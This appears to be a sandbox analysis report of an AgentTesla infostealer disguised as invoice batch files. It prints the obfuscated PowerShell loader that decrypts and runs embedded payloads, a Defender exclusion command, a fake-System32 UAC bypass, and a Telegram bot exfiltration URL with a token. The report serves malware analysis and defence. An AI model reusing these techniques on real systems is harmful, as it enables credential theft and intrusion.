Overview
overview
10Static
static
1INVOICE07.bat
windows7-x64
8INVOICE07.bat
windows10-2004-x64
10INVOICE07.bat
windows7-x64
8INVOICE07.bat
windows10-2004-x64
10InvoiceCon...n3.bat
windows7-x64
8InvoiceCon...n3.bat
windows10-2004-x64
10InvoiceCon...n3.bat
windows7-x64
8InvoiceCon...n3.bat
windows10-2004-x64
10Analysis
- max time kernel
142s - max time network
113s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
03/06/2024, 16:34
Static task
static1
Behavioral task
behavioral1
Sample
INVOICE07.bat
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
INVOICE07.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
INVOICE07.bat
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
INVOICE07.bat
Resource
win10v2004-20240426-en
Behavioral task
behavioral5
Sample
InvoiceConfirmation3.bat
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
InvoiceConfirmation3.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
InvoiceConfirmation3.bat
Resource
win7-20240419-en
General
- Target INVOICE07.bat
- Size 540KB
- Sample240603-t3btcsdf78
- SHA256 e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1
- MD5 1952a79579272db52a814baf57821f90
- SHA1 3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3
- SHA512 088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93
- SSDEEP 12288:xToPjPt8r1cxIMTOQo5Xq4PpsXis9Jhqd8FJVqzT+53xH:xeWrOa4UaYpsXlJIdwSIZ
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
agenttesla
-
https://api.telegram.org/bot7135973864:AAGVqtrGeLysm0FYcz68sQIn3nL2a6CxjMc/
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Blocklisted process makes network request 2 IoCs
flow pid Process 25 4528 powershell.exe 29 4528 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell and hide display window.
pid Process 4528 powershell.exe 636 powershell.exe 3248 powershell.exe 2268 powershell.exe 1772 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 1676 ComputerDefaults.exe - Loads dropped DLL 1 IoCs
pid Process 1676 ComputerDefaults.exe - Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 21 api.ipify.org 25 api.ipify.org 28 ip-api.com - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 3248 powershell.exe 3248 powershell.exe 2268 powershell.exe 2268 powershell.exe 4528 powershell.exe 4528 powershell.exe 4528 powershell.exe 1772 powershell.exe 1772 powershell.exe 1772 powershell.exe 4528 powershell.exe 4528 powershell.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3248 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeDebugPrivilege 4528 powershell.exe Token: SeDebugPrivilege 1772 powershell.exe - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 4564 wrote to memory of 4336 4564 cmd.exe 84 PID 4564 wrote to memory of 4336 4564 cmd.exe 84 PID 4564 wrote to memory of 4488 4564 cmd.exe 85 PID 4564 wrote to memory of 4488 4564 cmd.exe 85 PID 4564 wrote to memory of 3248 4564 cmd.exe 86 PID 4564 wrote to memory of 3248 4564 cmd.exe 86 PID 3248 wrote to memory of 2268 3248 powershell.exe 94 PID 3248 wrote to memory of 2268 3248 powershell.exe 94 PID 3248 wrote to memory of 1420 3248 powershell.exe 96 PID 3248 wrote to memory of 1420 3248 powershell.exe 96 PID 1420 wrote to memory of 1676 1420 cmd.exe 98 PID 1420 wrote to memory of 1676 1420 cmd.exe 98 PID 1676 wrote to memory of 2304 1676 ComputerDefaults.exe 99 PID 1676 wrote to memory of 2304 1676 ComputerDefaults.exe 99 PID 2304 wrote to memory of 3944 2304 cmd.exe 101 PID 2304 wrote to memory of 3944 2304 cmd.exe 101 PID 2304 wrote to memory of 4020 2304 cmd.exe 103 PID 2304 wrote to memory of 4020 2304 cmd.exe 103 PID 2304 wrote to memory of 4528 2304 cmd.exe 104 PID 2304 wrote to memory of 4528 2304 cmd.exe 104 PID 4528 wrote to memory of 1772 4528 powershell.exe 105 PID 4528 wrote to memory of 1772 4528 powershell.exe 105 PID 4528 wrote to memory of 636 4528 powershell.exe 107 PID 4528 wrote to memory of 636 4528 powershell.exe 107
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵PID:4336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\INVOICE07.bat';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:4488
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3248 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows \System32\ComputerDefaults.exe"C:\Windows \System32\ComputerDefaults.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c call SC.cmd5⤵
- Suspicious use of WriteProcessMemory
PID:2304 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"6⤵PID:3944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YFEk7bCybDCwVf0wTlX8N4pDcP2M+6VJEGXybuh+8wc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ppkRkLHGStauzXAtFwrtog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWVPe=New-Object System.IO.MemoryStream(,$param_var); $VqYlz=New-Object System.IO.MemoryStream; $hGmEI=New-Object System.IO.Compression.GZipStream($VWVPe, [IO.Compression.CompressionMode]::Decompress); $hGmEI.CopyTo($VqYlz); $hGmEI.Dispose(); $VWVPe.Dispose(); $VqYlz.Dispose(); $VqYlz.ToArray();}function execute_function($param_var,$param2_var){ $NuRNy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Lqnnw=$NuRNy.EntryPoint; $Lqnnw.Invoke($null, $param2_var);}$ITxqM = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $ITxqM;$NFyDa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ITxqM).Split([Environment]::NewLine);foreach ($RWjHW in $NFyDa) { if ($RWjHW.StartsWith('beDrwtSuNzbegooyjSZN')) { $bpNTb=$RWjHW.Substring(20); break; }}$payloads_var=[string[]]$bpNTb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:4020
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4528 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "7⤵
- Command and Scripting Interpreter: PowerShell
PID:636
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
- MD5 d28a889fd956d5cb3accfbaf1143eb6f
- SHA1 157ba54b365341f8ff06707d996b3635da8446f7
- SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\SC.cmd
- Size 540KB
- SHA256 e575145995f725fbaecc1b95c73ec0fbdad3117e1f492dc8d93ad076f5ad2da1
- MD5 1952a79579272db52a814baf57821f90
- SHA1 3fcfb6c3d2c08e840d758e905c2f304ec39ca9f3
- SHA512 088de9db26c4eda94bb71a5379118418c06bcb46d8ccce7d1da2719c8d742e8347a4dfde9f73afbb362ef461a0af159408d9150adc8653f6e5a3507408eb6a93
- SSDEEP 12288:xToPjPt8r1cxIMTOQo5Xq4PpsXis9Jhqd8FJVqzT+53xH:xeWrOa4UaYpsXlJIdwSIZ
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4dkgfnts.pvl.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows \System32\ComputerDefaults.exe
- Size 80KB
- SHA256 7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c
- MD5 d25a9e160e3b74ef2242023726f15416
- SHA1 27a9bb9d7628d442f9b5cf47711c906e3315755b
- SHA512 bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910
- SSDEEP 1536:DayE7ffgaxRF71ry9vmt486MypQKURDoq4OZZZLlCIibz:Y3ganFp4NpqRD68wbz
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows \System32\MLANG.dll
- Size 122KB
- SHA256 16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3
- MD5 e286ada1af4b08fa4b7c78f862883c4e
- SHA1 798ebc7b7cd3db667f1a59ade299be4cff397f39
- SHA512 fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5
- SSDEEP 1536:Cu9CeMZcAn6rL2KHKx74nIHuFTAVFuSwtCjkT8mDMr0OgzTqsWO4dw9dluVcw:Cu9xprL2UKJ4c2TgFupkE8mDmgkAQcw
- MD5 SHA1 SHA512 SSDEEP